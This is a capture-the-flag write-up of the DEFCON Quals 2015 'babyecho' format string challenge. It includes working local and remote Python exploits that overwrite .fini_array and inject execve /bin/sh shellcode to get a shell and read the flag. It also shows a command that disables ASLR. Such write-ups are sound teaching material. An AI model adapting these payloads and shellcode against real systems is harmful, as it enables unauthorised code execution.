choppers

DEFCON Quals 2015: babyecho

2015-05-17 00:00:01

Description

Baby's First: 1 point

babyecho

babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me:3232
Download (http://downloads.notmalware.ru/babyecho_eb11fdf6e40236b1a37b7974c53b6c3d)

Analysis

$ md5sum babyecho
eb11fdf6e40236b1a37b7974c53b6c3d  babyecho
$ file babyecho
babyecho: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c9a66685159ad72bd157b521f05a85e2e427f5ee, stripped
$ /usr/sbin/execstack babyecho
X babyecho
$ ./babyecho
Reading 13 bytes
^C
$

babyecho reads in at most 13 bytes from stdin, echos them back to you, then repeats forever.

$ ./babyecho
Reading 13 bytes
asdf
asdf
Reading 13 bytes
qwert
qwert
Reading 13 bytes
^C
$

Exploit Mitigations

Vulnerability

babyecho echos by passing its input into the format string parameter of printf. This is a classic format string bug.

$ ./babyecho
Reading 13 bytes
%x.%x.%x.%x.
d.a.0.d.
Reading 13 bytes
^C

Exploit

Patching a value in the .got section won't work because babyecho is statically-linked. Overwritting the return address of main won't work because main never returns, but it is possible to overwrite the return address of printf. I chose to patch an address in the .fini_array section and wait about 20 seconds for SIGALRM to trigger and the handler to call exit.

Disable ASLR for Testing

Disabling ASLR will make testing much simpler. This needs to be run as root.

# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
#

Leaking the Stack Address

To know where our shellcode is located on the stack, we need to leak an address from the stack. Using some python to generate input, we can dump the first few stack values to look for something interesting.

$ python -c "print '\n'.join([ x for x in map(lambda x: 'AAAA-%' + x + '\$08x', map(str, range(1,10)))])"
AAAA-%1$08x
AAAA-%2$08x
AAAA-%3$08x
AAAA-%4$08x
AAAA-%5$08x
AAAA-%6$08x
AAAA-%7$08x
AAAA-%8$08x
AAAA-%9$08x
$ python -c "print '\n'.join([ x for x in map(lambda x: 'AAAA-%' + x + '\$08x', map(str, range(1,10)))])" | ./babyecho
Reading 13 bytes
AAAA-0000000d
Reading 13 bytes
AAAA-0000000a
Reading 13 bytes
AAAA-00000000
Reading 13 bytes
AAAA-0000000d
Reading 13 bytes
AAAA-bffff34c
Reading 13 bytes
AAAA-00000000
Reading 13 bytes
AAAA-41414141
Reading 13 bytes
AAAA-2438252d
Reading 13 bytes
AAAA-00783830
Reading 13 bytes
$

The value at location 5 looks like a stack address because it's in the 0xBF000000 range. Also, the value at location 7 looks like the beginning of the actual input buffer because it's value is 0x41414141, or 'AAAA'.

$ echo %5\$08x | ./babyecho
Reading 13 bytes
bffff34c
Reading 13 bytes
$ echo %5\$s | ./babyecho
Reading 13 bytes
%5$s
Reading 13 bytes
$ echo AAAA-%7\$08x | ./babyecho
Reading 13 bytes
AAAA-41414141
Reading 13 bytes
$

We can also determine through debugging that the address 0xbffff34c points to the input buffer.

$ { echo hello world; sleep 15;} | ./babyecho & { sleep 2; gdb --pid=`pgrep babyecho` --ex "x/s 0xbffff34c"; }
[1] 11145
Reading 13 bytes
hello world
Reading 13 bytes
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i586-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
Attaching to process 11145
Reading symbols from /home/wjl/babyecho/babyecho...(no debugging symbols found)...done.
0xb7ffdd20 in __kernel_vsyscall ()
0xbffff34c: "hello world"
(gdb)

Removing the 13 Byte Limit

Next, let's get rid of the pesky 13 byte limit by patching the local variable on the stack. Through static analysis, I've determined that the local variable responsible for the read length is located 0xC bytes before the input buffer.

$ python -c "import struct; print struct.pack('I', 0xbffff34C - 0x0C) + '%99d%7\$n'" | ./babyecho
Reading 13 bytes
@...                                                                                                 13
Reading 103 bytes
$

Patching .fini_array

The second record of the .fini is at 0x080E9F6C. overwritting it is trivial.

$ { python -c "import struct; print struct.pack('I', 0x080E9F6C) + '%7\$n'" ; sleep 22 ; } | ./babyecho
Reading 13 bytes
l...
Reading 13 bytes
too slow
Segmentation fault
$

We get a seg fault because EIP was set to 0x00000004.

Writing a Local Exploit

This local exploit assumes ASLR is disabled, and assumes the read buffer is at 0xbffff34c.

#!/usr/bin/python

import struct

stack_addr = 0xbffff34c
len_addr = stack_addr - 0xC
stack_addr_str = struct.pack("I", stack_addr)

shellcode = ""
shellcode += "\xEB\x13\x5E\xB8\x0B\x00\x00\x00\x89\xF3\x6A\x00\x56\x89\xE1\x6A"
shellcode += "\x00\x89\xE2\xCD\x80\xE8\xE8\xFF\xFF\xFF"
shellcode += "/bin/sh\x00"

# remove 13 byte restriction
print struct.pack("<I", len_addr) + "%99d%7$n"

# patch .fini_array one byte at a time to point to read buffer on the stack
print struct.pack("<I", 0x080E9F6C+0) + "%" + str(ord(stack_addr_str[0])-4) + "d%7$n"
print struct.pack("<I", 0x080E9F6C+1) + "%" + str(ord(stack_addr_str[1])-4) + "d%7$n"
print struct.pack("<I", 0x080E9F6C+2) + "%" + str(ord(stack_addr_str[2])-4) + "d%7$n"
print struct.pack("<I", 0x080E9F6C+3) + "%" + str(ord(stack_addr_str[3])-4) + "d%7$n"

# load shellcode into read buffer
print shellcode
$ { ./sploit_local.py; cat -; } | ./babyecho
Reading 13 bytes
@...                                                                                                 13
Reading 103 bytes
l...                                                                  103
Reading 103 bytes
m...                                                                                                 103
Reading 103 bytes
n...                                                                                         103
Reading 103 bytes
o...                                                                                              103
Reading 103 bytes
..........................................................................
Reading 103 bytes
too slow
uname -a
Linux deb32 3.16.0-4-586 #1 Debian 3.16.7-ckt9-3~deb8u1 (2015-04-24) i686 GNU/Linux
^C
$

Writing a Remote Exploit

#!/usr/bin/python

import socket
import struct
import telnetlib

HOST = "127.0.0.1"
HOST = "babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me"
PORT = 3232

FINI_ADDR = 0x080E9F6C

SHELLCODE = ""
SHELLCODE += "\xEB\x13\x5E\xB8\x0B\x00\x00\x00\x89\xF3\x6A\x00\x56\x89\xE1\x6A"
SHELLCODE += "\x00\x89\xE2\xCD\x80\xE8\xE8\xFF\xFF\xFF"
SHELLCODE += "/bin/sh\x00"

def recv_until(s, needle):
    rx = ""
    while not rx.endswith(needle):
        b = s.recv(1)
        if len(b) <= 0:
            raise Exception("(EE) Remote peer closed connection")
        rx += b
    # print "  (RX) ", repr(rx[:20])
    return rx

def send_all(s, tx):
    # print "  (TX) ", repr(tx[:20])
    s.sendall(tx)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
s.connect((HOST, PORT))
recv_until(s, "bytes\n")
print "[+] Connected!"

send_all(s, "%5$08x\n")
stack_addr_str = recv_until(s, "\n")
recv_until(s, "bytes\n")
stack_addr = int(stack_addr_str, 16)
print "[+] Stack Address:", hex(stack_addr)

send_all(s, struct.pack("<I", stack_addr-0xC) + "%99d%7$n\n")
recv_until(s, "\n")
recv_until(s, "bytes\n")
print "[+] Removed 13 byte limit"

for i,x in enumerate(struct.pack("<I", stack_addr)):
    b = ord(x) - 4
    if b <= 4:
        b += 0x100
    send_all(s, struct.pack("<I", FINI_ADDR+i) + "%" + str(b) + "d%7$n\n")
    recv_until(s, "bytes\n")
print "[+] Patched .fini_array"

send_all(s, SHELLCODE + "\n")
recv_until(s, "bytes\n")
print "[+] Sent shellcode"
print "[I] wait for 20 seconds..."
recv_until(s, "too slow\n")

print "[+] Shell should be ready"
send_all(s, "id\n")
t = telnetlib.Telnet()
t.sock = s
t.interact()
$ ./sploit_remote.py
[+] Connected!
[+] Stack Address: 0xffce5a1cL
[+] Removed 13 byte limit
[+] Patched .fini_array
[+] Sent shellcode
[I] wait for 20 seconds...
[+] Shell should be ready
uid=1001(babyecho) gid=1001(babyecho) groups=1001(babyecho)
cat /home/babyecho/flag
The flag is: 1s 1s th3r3 th3r3 @n @n 3ch0 3ch0 1n 1n h3r3 h3r3? 3uoiw!T0*%